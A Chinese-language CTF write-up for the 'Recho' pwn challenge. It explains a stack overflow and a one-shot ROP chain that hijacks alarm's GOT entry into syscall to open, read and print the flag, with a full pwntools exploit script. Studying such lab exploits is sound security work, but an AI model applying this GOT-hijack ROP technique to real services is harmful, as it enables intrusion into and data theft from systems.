攻防世界-Recho
其实这个题目我是有点晕的,看了师傅们的分析才有点眉目
check

64位程序,开了NX

read读入,存入nptr。判断为真进入循环,而且是死循环。。
然后v7获得nptr长度(漏洞)

有好东西
很明显的漏洞,因为 v7 没有长度限制,所以可以通过 read 函数实现栈溢出。但是这个题有一个 while 循环,由于 read 函数只有在读到 EOF 的时候才会返回0,如果是在本地终端,可以通过Crtl+D来结束循环,但是远程并不能这样。好在 pwntool 中存在一个 shutdown 函数可以关闭 IO,这样通过调用 shutdown 就可以结束 while 循环。又由于关闭 IO 后我们无法与远程继续交互,所以我们必须一次性构造好ROP链,实现漏洞的利用。一次性要完成所有操作,那么暴露地址的方式肯定不能完成,幸运的是,我们可以使用系统调用(syscall)。对于有些系统,system也可以用系统调用,而对于有些系统则不行,因此,我们这里不再geshell,我们直接读取flag,然后打印出来。
- 劫持GOT表执行syscall,系统调用open()打开flag文件,读出并打印(open-read-write获得flag)
构造这样的代码来拿到flag
int fd = open("flag",READONLY);
read(fd,buf,100);
printf(buf);
贴一下找到的gadget


1.修改alarm()为syscall
程序中没有给出open函数,而open属于系统调用,调用号为2。
故首先修改一个无用的系统调用函数(这里选alarm())的got表项为syscall,使调用alarm()函数时会执行系统调用
可以看到在0x5偏移处调用了syscall

分两步实现 <1>将rdi设为alarm的got表<2>把rax使劲儿为5,然后把rax加到rdi上去
2.fd = open(“flag”,READONLY)
提前将rax设为2后syscall即可调用open()
3.read(fd,flag_buffer,50)
打开了flag文件后可以将内容用read读出,选择把读入的字符串存放在 bss+0x100 的位置,通过 vmmap 可以看到该内存区域是可读可写的。

其中,fd指文件描述符,open函数的返回的描述符一般由3开始,作为程序打开的第一个文件,flag的描述符应为3(0,1,2已经分别被标准输入、标准输出、标准错误所占用)。
点击查看代码
from pwn import *
p = process('./Recho')
elf = ELF('./Recho')
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
printf_plt = elf.plt['printf']
read_plt = elf.plt['read']
flag_addr = 0x601058
bss_addr = 0x601060
pop_rax_ret = 0x4006fc
pop_rdi_ret = 0x4008a3
pop_rsi_pop_r15_ret = 0x4008a1
pop_rdx_ret = 0x4006fe
add_rdi_al_ret = 0x40070d
syscall_offset = 0x5
n_sys_open = 0x2
O_RDONLY = 0x0
fd = 0x3
# hajack .plt.got(alarm)
payload = b'a'*0x38
payload += p64(pop_rdi_ret) + p64(alarm_got) +p64(pop_rax_ret) + p64(syscall_offset) + p64(add_rdi_al_ret)
# open("flag", O_RDONLY)
payload += p64(pop_rsi_pop_r15_ret) + p64(O_RDONLY) + b'deadbeef' + p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rax_ret) + p64(n_sys_open) + p64(alarm_plt)
# read(fd, bss_addr+0x100, 0x50)
payload += p64(pop_rdx_ret) + p64(0x50) + p64(pop_rsi_pop_r15_ret) + p64(bss_addr+0x100) + b'deadbeef' + p64(pop_rdi_ret) + p64(fd) + p64(read_plt)
# printf(bss_addr+0x100)
payload += p64(pop_rdi_ret) + p64(bss_addr+0x100) + p64(printf_plt)
p.recvuntil('elcome to Recho server!\n')
p.sendline(str(0x200))
payload = payload.ljust(0x200, b'\0')
p.send(payload)
p.recv()
p.shutdown()
p.interactive()
这里再强调一点就是64位系统传参方式都是先用寄存器传参,然后用栈传参,无论是系统调用还是普通的函数调用。传参顺序是rdi,rsi,rdx,rcx,r8,r9。rax寄存器在构造exp中,可用于劫持got表,调用系统序号函数。
这两位师傅写的很清晰
https://blog.csdn.net/xidoo1234/article/details/104532070?spm=1001.2101.3001.6650.10&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-10.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-10.pc_relevant_default&utm_relevant_index=13
https://blog.csdn.net/weixin_48066554/article/details/120392912
隔空orz

浙公网安备 33010602011771号